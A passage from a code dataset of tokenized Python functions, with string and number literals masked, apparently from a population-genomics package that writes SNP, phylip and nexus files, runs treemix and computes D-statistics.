line+(\"<STR_LIT:U+0020>\"*(longname-len(line)+<NUM_LIT:3>))+\"<STR_LIT:\\t>\"*<NUM_LIT:6>+\"<STR_LIT:\\t>\".join([B[unstruct(j)[<NUM_LIT:0>]] for j in Si[line]])<EOL>print >>outfile, line+(\"<STR_LIT:U+0020>\"*(longname-len(line)+<NUM_LIT:3>))+\"<STR_LIT:\\t>\"*<NUM_LIT:6>+\"<STR_LIT:\\t>\".join([B[unstruct(j)[<NUM_LIT:1>]] for j in Si[line]])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for line in SF:<EOL><INDENT>print >>outfile, line+(\"<STR_LIT:U+0020>\"*(longname-len(line)+<NUM_LIT:3>))+\"<STR_LIT:\\t>\"*<NUM_LIT:6>+\"<STR_LIT:\\t>\".join([B[unstruct(j)[<NUM_LIT:1>]] for j in Si[line]])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if \"<STR_LIT>\" in formats:<EOL><INDENT>with open(ugenoout, '<STR_LIT:w>') as outfile:<EOL><INDENT>for i in range(len(Si.values()[<NUM_LIT:0>])):<EOL><INDENT>getref = <NUM_LIT:0><EOL>ref = \"<STR_LIT:N>\"<EOL>while ref == \"<STR_LIT:N>\":<EOL><INDENT>ref = unstruct(Si[SF[getref]][i])[<NUM_LIT:0>]<EOL>getref += <NUM_LIT:1><EOL><DEDENT>SNProw = \"<STR_LIT>\".join(map(str,[unstruct(Si[j][i]).count(ref) if Si[j][i] != \"<STR_LIT:N>\"else \"<STR_LIT>\" for j in SF]))<EOL>if len(set(SNProw)) > <NUM_LIT:1>:<EOL><INDENT>print >>outfile, SNProw <EOL><DEDENT><DEDENT><DEDENT>with open(genoout, '<STR_LIT:w>') as outfile:<EOL><INDENT>for i in range(len(S.values()[<NUM_LIT:0>])):<EOL><INDENT>if S[SF[<NUM_LIT:0>]][i].strip(\"<STR_LIT:_>\").strip():<EOL><INDENT>getref = <NUM_LIT:0><EOL>ref = \"<STR_LIT:N>\"<EOL>while ref == \"<STR_LIT:N>\":<EOL><INDENT>ref = unstruct(S[SF[getref]][i])[<NUM_LIT:0>]<EOL>getref += <NUM_LIT:1><EOL>SNProw = \"<STR_LIT>\".join(map(str,[unstruct(S[j][i]).count(ref) ifS[j][i] != \"<STR_LIT:N>\" else \"<STR_LIT>\" for j in SF]))<EOL><DEDENT>if len(set(SNProw)) > <NUM_LIT:1>:<EOL><INDENT>print >>outfile, SNProw<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "builds snps output", "id": "f5341:m0"}
{"signature": "def update(assembly, idict, count):", "body": "data = iter(open(os.path.join(assembly.dirs.outfiles,<EOL>assembly.name+\"<STR_LIT>\"), '<STR_LIT:r>'))<EOL>ntax, nchar = data.next().strip().split()<EOL>for line in data:<EOL><INDENT>tax, seq = line.strip().split()<EOL>idict[tax] = idict[tax][<NUM_LIT>:]<EOL>idict[tax] += seq[count:count+<NUM_LIT>]<EOL><DEDENT>del line<EOL>return idict<EOL>", "docstring": "updates dictionary with the next .5M reads from the super long string \n    phylip file. Makes for faster reading.", "id": "f5342:m0"}
{"signature": "def makephy(data, samples, longname):", "body": "<EOL>names = [i.name for i in samples]<EOL>names.sort()<EOL>locifile = os.path.join(data.dirs.outfiles, data.name+\"<STR_LIT>\")<EOL>locus = iter(open(locifile, '<STR_LIT:rb>'))<EOL>fdict = {name:[] for name in names}<EOL>partitions = []<EOL>initial_pos = <NUM_LIT:1><EOL>done = <NUM_LIT:0><EOL>nloci = <NUM_LIT:0><EOL>nbases = <NUM_LIT:0><EOL>while nloci < <NUM_LIT>: <EOL><INDENT>seqs = []<EOL>anames = []<EOL>while <NUM_LIT:1>:<EOL><INDENT>try:<EOL><INDENT>samp = next(locus)<EOL><DEDENT>except StopIteration:<EOL><INDENT>done = <NUM_LIT:1><EOL>break<EOL><DEDENT>if \"<STR_LIT>\" in samp:<EOL><INDENT>nloci += <NUM_LIT:1><EOL>break<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>name, seq = samp.split()<EOL><DEDENT>except ValueError:<EOL><INDENT>print(samp)<EOL><DEDENT>anames.append(name[<NUM_LIT:1>:])<EOL>seqs.append(seq.strip())<EOL><DEDENT><DEDENT>arrayed = np.array([list(i) for i in seqs])<EOL>if done:<EOL><INDENT>break<EOL><DEDENT>mask = [i for i in arrayed.T if any([j not in list(\"<STR_LIT>\") for j in i])]<EOL>masked = np.dstack(mask)[<NUM_LIT:0>]<EOL>loc_name = \"<STR_LIT:p>\"+str(nloci)<EOL>loc_range = str(initial_pos) + \"<STR_LIT:->\" +str(len(masked[<NUM_LIT:0>]) + initial_pos -<NUM_LIT:1>)<EOL>initial_pos += len(masked[<NUM_LIT:0>])<EOL>partitions.append(loc_name+\"<STR_LIT:=>\"+loc_range)<EOL>for name in names:<EOL><INDENT>if name in anames:<EOL><INDENT>fdict[name].append(masked[anames.index(name),:].tostring())<EOL><DEDENT>else:<EOL><INDENT>fdict[name].append(\"<STR_LIT:N>\"*masked.shape[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>nbases += len(fdict[name][-<NUM_LIT:1>])<EOL>if not nloci % <NUM_LIT>:<EOL><INDENT>for name in fdict:<EOL><INDENT>with open(os.path.join(assembly.dirs.outfiles , \"<STR_LIT>\", <EOL>\"<STR_LIT>\".format(name, nloci)), '<STR_LIT:wb>') as wout:<EOL><INDENT>wout.write(\"<STR_LIT>\".join(fdict[name]))<EOL><DEDENT><DEDENT>del fdict<EOL>fdict = {name:[] for name in names}<EOL><DEDENT><DEDENT>superout = open(os.path.join( assembly.dirs.outfiles, assembly.name+\"<STR_LIT>\" ), '<STR_LIT:wb>')<EOL>print(len(names), nbases, file=superout)<EOL>if nloci < <NUM_LIT>:<EOL><INDENT>for name in names:<EOL><INDENT>print(name+(\"<STR_LIT:U+0020>\"*((longname+<NUM_LIT:3>)-len(name)))+\"<STR_LIT>\".join(fdict[name]), file=superout)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for name in names:<EOL><INDENT>superout.write(\"<STR_LIT>\".format(<EOL>name,<EOL>\"<STR_LIT:U+0020>\"*((longname+<NUM_LIT:3>)-len(name)),<EOL>\"<STR_LIT>\".join(fdict[name])))<EOL>tmpfiles = glob.glob(os.path.join(assembly.dirs.outfiles, \"<STR_LIT>\", name+\"<STR_LIT>\"))<EOL>tmpfiles.sort()<EOL>for tmpf in tmpfiles:<EOL><INDENT>with open(tmpf, '<STR_LIT:rb>') as tmpin:<EOL><INDENT>superout.write(tmpin.read())<EOL><DEDENT>os.remove(tmpf)<EOL><DEDENT>superout.write(\"<STR_LIT:\\n>\")<EOL><DEDENT><DEDENT>superout.close()<EOL>raxml_part_out = open(os.path.join(assembly.dirs.outfiles, assembly.name+\"<STR_LIT>\"), '<STR_LIT:w>')<EOL>for partition in partitions:<EOL><INDENT>print(\"<STR_LIT>\" % (partition), file=raxml_part_out)<EOL><DEDENT>raxml_part_out.close()<EOL>return partitions<EOL>", "docstring": "builds phy output. If large files writes 50000 loci at a time to tmp\n    files and rebuilds at the end", "id": "f5342:m1"}
{"signature": "def makenex(assembly, names, longname, partitions):", "body": "<EOL>data = iter(open(os.path.join(assembly.dirs.outfiles, assembly.name+\"<STR_LIT>\" ), '<STR_LIT:r>' ))<EOL>nexout = open(os.path.join(assembly.dirs.outfiles, assembly.name+\"<STR_LIT>\" ), '<STR_LIT:wb>' )<EOL>ntax, nchar = data.next().strip().split(\"<STR_LIT:U+0020>\")<EOL>print(\"<STR_LIT>\", file=nexout)<EOL>print(\"<STR_LIT>\", file=nexout)<EOL>print(\"<STR_LIT>\" % (ntax,nchar), file=nexout)<EOL>print(\"<STR_LIT>\", file=nexout)<EOL>print(\"<STR_LIT>\", file=nexout)<EOL>idict = {}<EOL>for line in data:<EOL><INDENT>tax, seq = line.strip().split()<EOL>idict[tax] = seq[<NUM_LIT:0>:<NUM_LIT>]<EOL><DEDENT>del line<EOL>nameorder = list(idict.keys())<EOL>nameorder.sort()<EOL>n=<NUM_LIT:0><EOL>tempn=<NUM_LIT:0><EOL>sz = <NUM_LIT:100><EOL>while n < len(seq):<EOL><INDENT>for tax in nameorder:<EOL><INDENT>print(\"<STR_LIT:U+0020>\"+tax+\"<STR_LIT:U+0020>\"*((longname-len(tax))+<NUM_LIT:3>)+idict[tax][tempn:tempn+sz], file=nexout)<EOL><DEDENT>n += sz<EOL>tempn += sz<EOL>print(\"<STR_LIT>\", file=nexout)<EOL>if not n % <NUM_LIT>:<EOL><INDENT>idict = update(assembly, idict, n)<EOL>tempn -= <NUM_LIT><EOL><DEDENT><DEDENT>print('<STR_LIT:;>', file=nexout)<EOL>print('<STR_LIT>', file=nexout)<EOL>print(\"<STR_LIT>\", file=nexout)<EOL>for partition in partitions:<EOL><INDENT>print(\"<STR_LIT>\" % (partition), file=nexout)<EOL><DEDENT>print(\"<STR_LIT>\", file=nexout)<EOL>nexout.close()<EOL>", "docstring": "PRINT NEXUS", "id": "f5342:m2"}
{"signature": "def make(assembly, samples):", "body": "<EOL>longname = max([len(i) for i in list(assembly.samples.keys())])<EOL>names = [i.name for i in samples]<EOL>partitions = makephy(assembly, samples, longname)<EOL>makenex(assembly, names, longname, partitions)<EOL>", "docstring": "Make phylip and nexus formats. This is hackish since I'm recycling the \n    code whole-hog from pyrad V3. Probably could be good to go back through \n    and clean up the conversion code some time.", "id": "f5342:m3"}
{"signature": "def loci2multinex(name, <EOL>locifile, <EOL>subsamples=None,<EOL>outdir=None,<EOL>maxloci=None,<EOL>minSNPs=<NUM_LIT:1>,<EOL>seed=<NUM_LIT>,<EOL>mcmc_burnin=int(<NUM_LIT>),<EOL>mcmc_ngen=int(<NUM_LIT>),<EOL>mcmc_sample_freq=<NUM_LIT:1000>,<EOL>):", "body": "<EOL>if outdir:<EOL><INDENT>if not os.path.exists(outdir):<EOL><INDENT>os.makedirs(outdir)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>outdir = os.path.curdir<EOL><DEDENT>outdir = os.path.realpath(outdir)<EOL>outdir = os.path.join(outdir, \"<STR_LIT>\".format(name))<EOL>if not os.path.exists(outdir):<EOL><INDENT>os.makedirs(outdir)<EOL><DEDENT>else:<EOL><INDENT>ofiles = glob.glob(os.path.join(outdir, \"<STR_LIT>\"))<EOL>for ofile in ofiles:<EOL><INDENT>os.remove(ofile)<EOL><DEDENT><DEDENT>with open(locifile) as infile:<EOL><INDENT>loci = (i for i in infile.read().strip().split(\"<STR_LIT>\"))<EOL><DEDENT>if not subsamples:<EOL><INDENT>with open(locifile) as infile:<EOL><INDENT>subs = set((i.split()[<NUM_LIT:0>] for i in infile.readlines() if \"<STR_LIT>\" not in i))<EOL><DEDENT><DEDENT>else:   <EOL><INDENT>subs = set(subsamples)<EOL><DEDENT>lens = len(subs)<EOL>nlocus = <NUM_LIT:0><EOL>for loc in loci:<EOL><INDENT>dat = loc.split(\"<STR_LIT:\\n>\")[:-<NUM_LIT:1>]<EOL>names = [i.split()[<NUM_LIT:0>] for i in dat]<EOL>seqs = np.array([list(i.split()[<NUM_LIT:1>]) for i in dat])<EOL>if len(set(names).intersection(set(subs))) == lens:<EOL><INDENT>seqsamp = seqs[[names.index(tax) for tax in subs]]<EOL>seqsamp = _resolveambig(seqsamp)<EOL>pis = _count_PIS(seqsamp, minSNPs)<EOL>if pis:<EOL><INDENT>nlocus += <NUM_LIT:1><EOL>copied = seqsamp.copy()<EOL>copied[copied == \"<STR_LIT:->\"] = \"<STR_LIT:N>\"<EOL>rmcol = np.all(copied == \"<STR_LIT:N>\", axis=<NUM_LIT:0>)<EOL>seqsamp = seqsamp[:, ~rmcol]<EOL>mdict = dict(list(zip(subs, [i.tostring() for i in seqsamp])))<EOL>nexmake(mdict, nlocus, outdir, mcmc_burnin, mcmc_ngen, mcmc_sample_freq)<EOL><DEDENT><DEDENT><DEDENT>print(\"<STR_LIT>\".format(nlocus, outdir))<EOL>", "docstring": "Converts loci file format to multiple nexus formatted files, one for \neach locus, and writes a mrbayes block in the nexus information. The \nmrbayes block will be set to run 2 replicate chains, for [mcmc_ngen]\ngenerations, skipping [burnin] steps, and sampling every \n[mcmc_sample_freq] steps. \n\n\nParameters:\n-----------\nname: (str)\n    A prefix name for output files that will be produced\nlocifile: (str)\n    A .loci file produced by ipyrad.\nmaxloci: (int)\n    Limit the number of loci to the first N loci with sufficient sampling\n    to be included in the analysis. \nminSNPs: (int)\n    Only include loci that have at least N parsimony informative SNPs.\nseed: (int)\n    Random seed used for resolving ambiguities.\nburnin: (int)\n    mrbayes nexus block burnin parameter used for 'sump burnin' and 'sumt burnin'.\n    The number of generations to skip before starting parameter and tree sampling. \nmcmc_ngen: (int)\n    mrbayes nexus block 'mcmc ngen' and 'mcmc printfreq' parameters. We don't really\n    to have any info printed to screen, so these values are set equal. This is the \n    length of the chains that will be run. \nmcmc_sample_freq: (int)\n    mrbayes nexus block 'mcmc samplefreq' parameter. The frequency of sampling from\n    the mcmc chain.", "id": "f5343:m0"}
{"signature": "def nexmake(mdict, nlocus, dirs, mcmc_burnin, mcmc_ngen, mcmc_sample_freq):", "body": "<EOL>max_name_len = max([len(i) for i in mdict])<EOL>namestring = \"<STR_LIT>\" + str(max_name_len+<NUM_LIT:1>) + \"<STR_LIT>\"<EOL>matrix = \"<STR_LIT>\"<EOL>for i in list(mdict.items()):<EOL><INDENT>matrix += namestring.format(i[<NUM_LIT:0>], i[<NUM_LIT:1>])<EOL><DEDENT>handle = os.path.join(dirs, \"<STR_LIT>\".format(nlocus))<EOL>with open(handle, '<STR_LIT:w>') as outnex:<EOL><INDENT>outnex.write(NEXBLOCK.format(**{<EOL>\"<STR_LIT>\": len(mdict), <EOL>\"<STR_LIT>\": len(list(mdict.values())[<NUM_LIT:0>]), <EOL>\"<STR_LIT>\": matrix,<EOL>\"<STR_LIT>\": mcmc_ngen, <EOL>\"<STR_LIT>\": mcmc_sample_freq, <EOL>\"<STR_LIT>\": mcmc_burnin, <EOL>}))<EOL><DEDENT>", "docstring": "function that takes a dictionary mapping names to \nsequences, and a locus number, and writes it as a NEXUS\nfile with a mrbayes analysis block.", "id": "f5343:m1"}
{"signature": "def _resolveambig(subseq):", "body": "N = []<EOL>for col in subseq:<EOL><INDENT>rand = np.random.binomial(<NUM_LIT:1>, <NUM_LIT:0.5>)<EOL>N.append([_AMBIGS[i][rand] for i in col])<EOL><DEDENT>return np.array(N)<EOL>", "docstring": "Randomly resolves iupac hetero codes. This is a shortcut\nfor now, we could instead use the phased alleles in RAD loci.", "id": "f5343:m2"}
{"signature": "def _count_PIS(seqsamp, N):", "body": "counts = [Counter(col) for col in seqsamp.T if not (\"<STR_LIT:->\" in col or \"<STR_LIT:N>\" in col)]<EOL>pis = [i.most_common(<NUM_LIT:2>)[<NUM_LIT:1>][<NUM_LIT:1>] > <NUM_LIT:1> for i in counts if len(i.most_common(<NUM_LIT:2>))><NUM_LIT:1>]<EOL>if sum(pis) >= N:<EOL><INDENT>return sum(pis)<EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "filters for loci with >= N PIS", "id": "f5343:m3"}
{"signature": "def _call_treemix(command_list):", "body": "proc = subprocess.Popen(<EOL>command_list,<EOL>stderr=subprocess.STDOUT, <EOL>stdout=subprocess.PIPE<EOL>)<EOL>comm = proc.communicate()<EOL>return comm<EOL>", "docstring": "call the command as sps", "id": "f5344:m3"}
{"signature": "@property<EOL><INDENT>def _command_list(self):<DEDENT>", "body": "<EOL>cmd = [self.params.binary, <EOL>\"<STR_LIT>\", OPJ(self.workdir, self.name+\"<STR_LIT>\"),<EOL>\"<STR_LIT>\", OPJ(self.workdir, self.name),<EOL>]<EOL>args = []<EOL>for key, val in self.params:<EOL><INDENT>if key not in [\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>if key == \"<STR_LIT:g>\":<EOL><INDENT>if val[<NUM_LIT:0>]:<EOL><INDENT>args += [\"<STR_LIT:->\"+key, str(val[<NUM_LIT:0>]), str(val[<NUM_LIT:1>])]<EOL><DEDENT><DEDENT>elif key == \"<STR_LIT>\":<EOL><INDENT>if val:<EOL><INDENT>args += [\"<STR_LIT:->\"+key[:-<NUM_LIT:1>]]<EOL><DEDENT><DEDENT>elif key in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]: <EOL><INDENT>if val:<EOL><INDENT>args += [\"<STR_LIT:->\"+key]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if val:<EOL><INDENT>args += [\"<STR_LIT:->\"+key, str(val)]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return cmd+args<EOL>", "docstring": "build the command list", "id": "f5344:c0:m1"}
{"signature": "@property<EOL><INDENT>def command(self):<DEDENT>", "body": "return \"<STR_LIT:U+0020>\".join(self._command_list)<EOL>", "docstring": "returns command as a string", "id": "f5344:c0:m2"}
{"signature": "def _subsample(self):", "body": "spans = self.maparr<EOL>samp = np.zeros(spans.shape[<NUM_LIT:0>], dtype=np.uint64)<EOL>for i in xrange(spans.shape[<NUM_LIT:0>]):<EOL><INDENT>samp[i] = np.random.randint(spans[i, <NUM_LIT:0>], spans[i, <NUM_LIT:1>], <NUM_LIT:1>)<EOL><DEDENT>return samp<EOL>", "docstring": "returns a subsample of unlinked snp sites", "id": "f5344:c0:m4"}
{"signature": "def copy(self, name):", "body": "<EOL>subdict = {i:j for i, j in self.__dict__.iteritems() if i != \"<STR_LIT>\"}<EOL>newdict = copy.deepcopy(subdict)<EOL>newobj = Treemix(<EOL>data=newdict[\"<STR_LIT:data>\"],<EOL>name=name,<EOL>workdir=newdict[\"<STR_LIT>\"],<EOL>imap={i:j for i, j in newdict[\"<STR_LIT>\"].items()},<EOL>mapfile=newdict['<STR_LIT>'],<EOL>minmap={i:j for i, j in newdict[\"<STR_LIT>\"].items()},<EOL>seed=np.random.randint(<NUM_LIT:0>, int(<NUM_LIT>)),<EOL>)<EOL>for key, val in newobj.params.__dict__.iteritems():<EOL><INDENT>newobj.params.__setattr__(key, self.params.__getattribute__(key))<EOL><DEDENT>return newobj<EOL>", "docstring": "Returns a copy of the treemix object with the same parameter settings\nbut with the files attributes cleared, and with a new 'name' attribute. \n\nParameters\n----------\nname (str):\n    A name for the new copied treemix bject that will be used for the \n    output files created by the object.", "id": "f5344:c0:m5"}
{"signature": "def draw(self, axes):", "body": "<EOL>tre = toytree.tree(newick=self.results.tree)<EOL>tre.draw(<EOL>axes=axes,<EOL>use_edge_lengths=True,<EOL>tree_style='<STR_LIT:c>',<EOL>tip_labels_align=True,<EOL>edge_align_style={\"<STR_LIT>\": <NUM_LIT:1>}<EOL>);<EOL>for admix in self.results.admixture:<EOL><INDENT>pidx, pdist, cidx, cdist, weight = admix<EOL>a = _get_admix_point(tre, pidx, pdist)<EOL>b = _get_admix_point(tre, cidx, cdist)<EOL>mark = axes.plot(<EOL>a = (a[<NUM_LIT:0>], b[<NUM_LIT:0>]),<EOL>b = (a[<NUM_LIT:1>], b[<NUM_LIT:1>]),<EOL>style={\"<STR_LIT>\": <NUM_LIT:10>*weight,<EOL>\"<STR_LIT>\": <NUM_LIT>, <EOL>\"<STR_LIT>\": \"<STR_LIT>\"}<EOL>)<EOL>axes.scatterplot(<EOL>a = (b[<NUM_LIT:0>]),<EOL>b = (b[<NUM_LIT:1>]),<EOL>size=<NUM_LIT:8>,<EOL>title=\"<STR_LIT>\".format(weight),<EOL>)<EOL><DEDENT>axes.y.show=False<EOL>axes.x.ticks.show=True<EOL>axes.x.label.text = \"<STR_LIT>\"<EOL>return axes<EOL>", "docstring": "Returns a treemix plot on a toyplot.axes object.", "id": "f5344:c0:m7"}
{"signature": "def batch(<EOL>baba,<EOL>ipyclient=None,<EOL>):", "body": "<EOL>handle = baba.data<EOL>taxdicts = baba.tests<EOL>mindicts = baba.params.mincov<EOL>nboots = baba.params.nboots<EOL>sims = <NUM_LIT:0><EOL>if isinstance(handle, types.GeneratorType):<EOL><INDENT>handle = list(handle)<EOL>sims = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>handle = os.path.realpath(handle)<EOL><DEDENT>names = []<EOL>if isinstance(taxdicts, dict):<EOL><INDENT>taxdicts = [taxdicts]<EOL><DEDENT>tot = len(taxdicts)<EOL>resarr = np.zeros((tot, <NUM_LIT:7>), dtype=np.float64)<EOL>bootsarr = np.zeros((tot, nboots), dtype=np.float64)<EOL>paneldict = {}<EOL>if not ipyclient:<EOL><INDENT>raise IPyradError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>lbview = ipyclient.load_balanced_view()<EOL><DEDENT>start = time.time()<EOL>asyncs = {}<EOL>idx = <NUM_LIT:0><EOL>if isinstance(handle, str):<EOL><INDENT>with open(handle, '<STR_LIT:r>') as infile:<EOL><INDENT>loci = infile.read().strip().split(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if isinstance(handle, list):<EOL><INDENT>pass <EOL><DEDENT>itests = iter(taxdicts)<EOL>imdict = itertools.cycle([mindicts])<EOL>for i in xrange(len(ipyclient)):<EOL><INDENT>try:<EOL><INDENT>test = next(itests)<EOL>mindict = next(imdict)<EOL><DEDENT>except StopIteration:<EOL><INDENT>continue<EOL><DEDENT>if sims:<EOL><INDENT>loci = _msp_to_arr(handle, test)<EOL>args = (loci, test, mindict, nboots)<EOL>print(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>args = [loci, test, mindict, nboots]<EOL>asyncs[idx] = lbview.apply(dstat, *args)<EOL><DEDENT>idx += <NUM_LIT:1><EOL><DEDENT>finished = <NUM_LIT:0><EOL>try:<EOL><INDENT>while <NUM_LIT:1>:<EOL><INDENT>keys = [i for (i, j) in asyncs.items() if j.ready()]<EOL>for job in keys:<EOL><INDENT>if not asyncs[job].successful():<EOL><INDENT>raise IPyradWarningExit(\"<STR_LIT>\".format(job, asyncs[job].exception()))<EOL><DEDENT>else:<EOL><INDENT>_res, _bot = asyncs[job].result()<EOL>if _res.shape[<NUM_LIT:0>] == <NUM_LIT:1>:<EOL><INDENT>resarr[job] = _res.T.as_matrix()[:, <NUM_LIT:0>]<EOL>bootsarr[job] = _bot<EOL><DEDENT>else:   <EOL><INDENT>paneldict[job] = _res.T<EOL><DEDENT>del asyncs[job]<EOL>finished += <NUM_LIT:1><EOL>try:<EOL><INDENT>test = next(itests)<EOL>mindict = next(imdict)<EOL>if sims:<EOL><INDENT>loci = _msp_to_arr(handle, test)<EOL>args = (loci, test, mindict, nboots)<EOL>print(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>args = [loci, test, mindict, nboots]<EOL>asyncs[idx] = lbview.apply(dstat, *args)<EOL><DEDENT>idx += <NUM_LIT:1><EOL><DEDENT>except StopIteration:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>elap = datetime.timedelta(seconds=int(time.time()-start))<EOL>printstr = \"<STR_LIT>\"<EOL>progressbar(tot, finished, printstr.format(elap), spacer=\"<STR_LIT>\")<EOL>time.sleep(<NUM_LIT:0.1>)<EOL>if not asyncs:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>break<EOL><DEDENT><DEDENT><DEDENT>except KeyboardInterrupt as inst:<EOL><INDENT>try:<EOL><INDENT>ipyclient.abort()<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>raise inst<EOL><DEDENT>if len(test) == <NUM_LIT:4>:<EOL><INDENT>if not names:<EOL><INDENT>names = range(len(taxdicts))<EOL><DEDENT>resarr = pd.DataFrame(resarr, <EOL>index=names,<EOL>columns=[\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"])<EOL>resarr = resarr.sort_index()<EOL>order = [list(resarr.index).index(i) for i in names]<EOL>bootsarr = bootsarr[order]<EOL>return resarr, bootsarr<EOL><DEDENT>else:<EOL><INDENT>listres = []<EOL>for key in range(len(paneldict)):<EOL><INDENT>listres.append(paneldict[key])<EOL><DEDENT>ntests = len(paneldict)<EOL>multi_index = [<EOL>np.array([[i] * <NUM_LIT:3> for i in range(ntests)]).flatten(),<EOL>np.array(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'] * ntests),<EOL>]<EOL>resarr = pd.DataFrame(<EOL>data=pd.concat(listres).as_matrix(), <EOL>index=multi_index,<EOL>columns=listres[<NUM_LIT:0>].columns,<EOL>)<EOL>return resarr, None<EOL><DEDENT>", "docstring": "distributes jobs to the parallel client", "id": "f5345:m0"}
{"signature": "def dstat(inarr, taxdict, mindict=<NUM_LIT:1>, nboots=<NUM_LIT:1000>, name=<NUM_LIT:0>):", "body": "<EOL>if isinstance(inarr, list):<EOL><INDENT>arr, _ = _loci_to_arr(inarr, taxdict, mindict)<EOL><DEDENT>if arr.shape[<NUM_LIT:1>] == <NUM_LIT:4>:<EOL><INDENT>res, boots = _get_signif_4(arr, nboots)<EOL>res = pd.DataFrame(res, <EOL>columns=[name],<EOL>index=[\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>res, boots = _get_signif_5(arr, nboots)<EOL>res = pd.DataFrame(res,<EOL>index=[\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"], <EOL>columns=[\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>)<EOL><DEDENT>return res.T, boots<EOL>", "docstring": "private function to perform a single D-stat test", "id": "f5345:m1"}
{"signature": "def _loci_to_arr(loci, taxdict, mindict):", "body": "<EOL>nloci = len(loci)<EOL>maxlen = np.max(np.array([len(locus.split(\"<STR_LIT:\\n>\")[<NUM_LIT:0>]) for locus in loci]))<EOL>keep = np.zeros(nloci, dtype=np.bool_)<EOL>arr = np.zeros((nloci, <NUM_LIT:4>, maxlen), dtype=np.float64)<EOL>if len(taxdict) == <NUM_LIT:5>:<EOL><INDENT>arr = np.zeros((nloci, <NUM_LIT:6>, maxlen), dtype=np.float64)<EOL><DEDENT>if isinstance(mindict, int):<EOL><INDENT>mindict = {i: mindict for i in taxdict}<EOL><DEDENT>elif isinstance(mindict, dict):<EOL><INDENT>mindict = {i: mindict[i] for i in taxdict}<EOL><DEDENT>else:<EOL><INDENT>mindict = {i: <NUM_LIT:1> for i in taxdict}<EOL><DEDENT>allowed_names = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>if any([i not in allowed_names for i in taxdict]):<EOL><INDENT>raise IPyradError(\"<STR_LIT>\")<EOL><DEDENT>keys = sorted([i for i in taxdict.keys() if i[<NUM_LIT:0>] == '<STR_LIT:p>'])<EOL>outg = keys[-<NUM_LIT:1>]<EOL>for loc in xrange(nloci):<EOL><INDENT>lines = loci[loc].split(\"<STR_LIT:\\n>\")[:-<NUM_LIT:1>]<EOL>names = [i.split()[<NUM_LIT:0>] for i in lines]<EOL>seqs = np.array([list(i.split()[<NUM_LIT:1>]) for i in lines])<EOL>covs = [sum([j in names for j in taxdict[tax]]) >= mindict[tax]for tax in taxdict]<EOL>if all(covs):<EOL><INDENT>keep[loc] = True<EOL>refidx = np.where([i in taxdict[outg] for i in names])[<NUM_LIT:0>]<EOL>refseq = seqs[refidx].view(np.uint8)<EOL>ancestral = np.array([reftrick(refseq, GETCONS2)[:, <NUM_LIT:0>]])<EOL>iseq = _reffreq2(ancestral, refseq, GETCONS2)<EOL>arr[loc, -<NUM_LIT:1>, :iseq.shape[<NUM_LIT:1>]] = iseq <EOL>if len(taxdict) == <NUM_LIT:4>:<EOL><INDENT>for tidx, key in enumerate(keys[:-<NUM_LIT:1>]):<EOL><INDENT>nidx = np.where([i in taxdict[key] for i in names])[<NUM_LIT:0>]<EOL>sidx = seqs[nidx].view(np.uint8)<EOL>iseq = _reffreq2(ancestral, sidx, GETCONS2)<EOL>arr[loc, tidx, :iseq.shape[<NUM_LIT:1>]] = iseq<EOL><DEDENT><DEDENT>else:<EOL><INDENT>iseq = _reffreq2(ancestral, refseq, GETCONS2) <EOL>arr[loc, -<NUM_LIT:1>, :iseq.shape[<NUM_LIT:1>]] = iseq <EOL>nidx = np.where([i in taxdict['<STR_LIT>'] for i in names])[<NUM_LIT:0>]<EOL>sidx = seqs[nidx].view(np.uint8)<EOL>iseq = _reffreq2(ancestral, sidx, GETCONS2)<EOL>arr[loc, <NUM_LIT:0>, :iseq.shape[<NUM_LIT:1>]] = iseq<EOL>nidx = np.where([i in taxdict['<STR_LIT>'] for i in names])[<NUM_LIT:0>]<EOL>sidx = seqs[nidx].view(np.uint8)<EOL>iseq = _reffreq2(ancestral, sidx, GETCONS2)<EOL>arr[loc, <NUM_LIT:1>, :iseq.shape[<NUM_LIT:1>]] = iseq<EOL>nidx = np.where([i in taxdict['<STR_LIT>'] for i in names])[<NUM_LIT:0>]<EOL>nidy = np.where([i in taxdict['<STR_LIT>'] for i in names])[<NUM_LIT:0>]<EOL>sidx = seqs[nidx].view(np.uint8)<EOL>sidy = seqs[nidy].view(np.uint8)<EOL>xseq = _reffreq2(ancestral, sidx, GETCONS2)<EOL>yseq = _reffreq2(ancestral, sidy, GETCONS2)<EOL>mask3 = xseq != <NUM_LIT:0><EOL>mask4 = yseq != <NUM_LIT:0><EOL>xseq[mask4] = <NUM_LIT:0><EOL>yseq[mask3] = <NUM_LIT:0><EOL>arr[loc, <NUM_LIT:2>, :xseq.shape[<NUM_LIT:1>]] = xseq<EOL>arr[loc, 